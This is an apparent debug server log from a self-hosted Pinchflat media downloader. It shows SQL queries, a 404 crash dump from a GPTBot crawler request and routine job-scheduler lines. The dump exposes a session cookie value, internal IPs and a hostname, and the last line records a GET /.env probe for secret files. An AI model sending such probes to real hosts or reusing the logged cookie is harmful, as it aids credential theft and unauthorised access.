[debug] QUERY OK source="media_items" db=0.2ms idle=1055.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 07:57:10.080 [debug] QUERY OK source="tasks" db=0.2ms idle=1055.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12040] 07:57:10.080 [debug] QUERY OK source="sources" db=0.2ms idle=1055.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 07:57:10.081 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1055.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1533, 1536, 1545, 1548, 1558, 1561, 1571, 1574, 1584, 1587, 1597, 1599, 1609, 1612, 1625, 1628, 1642, 1645, 1660, 1663, 1677, 1680, 1695, 1698, 1712, 1715, 1729] 07:57:10.082 [debug] QUERY OK source="settings" db=0.0ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:10.082 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:10.082 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:10.083 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:57:10.086 [info] Sent 200 in 7ms 07:57:11.966 [info] GET /sources/3/media/12040/force_download 07:57:11.966 [debug] QUERY OK source="settings" db=0.1ms idle=569.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:11.967 [debug] QUERY OK source="settings" db=0.0ms idle=569.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:57:11.967 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 07:57:11.967 [error] #PID<0.25004.0> running PinchflatWeb.Endpoint (connection #PID<0.24972.0>, stream id 15) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/media/12040/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12040/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.24972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51226}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com/sources/3/media/12040", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-openai-host-hash" => "34131411", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.25004.0>, params: %{}, path_info: ["sources", "3", "media", "12040", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.8layer8.com"}, {"referer", "https://pinchflat.8layer8.com/sources/3/media/12040"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-openai-host-hash", "34131411"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/media/12040/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKHrG5uBlP8SN-MAC1iB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.24972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51226}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com/sources/3/media/12040", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-openai-host-hash" => "34131411", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12040/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.24972.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12040/force_download", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51226}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYVXRNZlZZLWs5YlY2Qlc0eXlFaXIwQTBn.jxRmGwoOg_fdwkl7maJYFKveS5isTJTetVGvDDERiNg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.8layer8.com", "referer" => "https://pinchflat.8layer8.com/sources/3/media/12040", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "10.0.0.2", "x-forwarded- (truncated) 07:57:18.401 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:48.402 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.304 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:18.403 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:48.404 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.305 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:18.405 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:48.406 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.306 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:18.408 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:48.409 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.307 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:18.410 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:48.411 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.308 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:18.412 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:48.413 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.309 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:18.414 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:48.415 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.310 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:18.416 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:48.417 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.311 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:18.418 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:48.420 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.312 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:18.421 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:48.422 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.313 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:18.423 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:48.424 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.314 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:18.425 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:48.426 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.315 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:18.427 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:48.428 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.316 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:18.430 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:48.431 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.317 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:18.432 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:48.433 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.318 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:18.434 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:48.435 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.319 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:18.436 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:48.437 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.320 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:18.438 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:48.439 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.321 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:18.440 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:48.441 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.322 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:18.442 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:48.443 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.324 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:18.444 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:48.445 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.324 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:18.446 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:48.447 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.325 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:18.448 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:48.449 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.326 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:18.450 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:48.451 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.327 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:18.452 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:48.453 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.328 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:18.454 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:48.455 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.329 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:18.456 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:48.457 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.330 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:18.459 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:48.461 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.331 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:18.462 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:48.463 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.332 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:18.464 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:48.466 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.333 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:18.467 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:48.468 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.334 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:18.469 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:48.470 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.335 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:18.471 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:48.473 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.336 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:18.474 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:48.475 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.337 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:18.476 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:48.477 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.338 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:18.478 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:48.480 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.339 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:18.481 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:48.482 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.340 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:18.483 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:48.484 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.341 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:18.485 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:48.486 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.342 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:18.487 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:48.488 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.343 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:18.489 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:48.490 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.344 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:18.491 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:48.492 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.345 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:18.493 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:48.494 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.346 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:18.496 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:48.497 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.347 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:18.498 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:48.500 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.348 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:18.501 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:45.847 [info] GET /.env 08:42:45.847 [debug] QUERY OK source="settings" 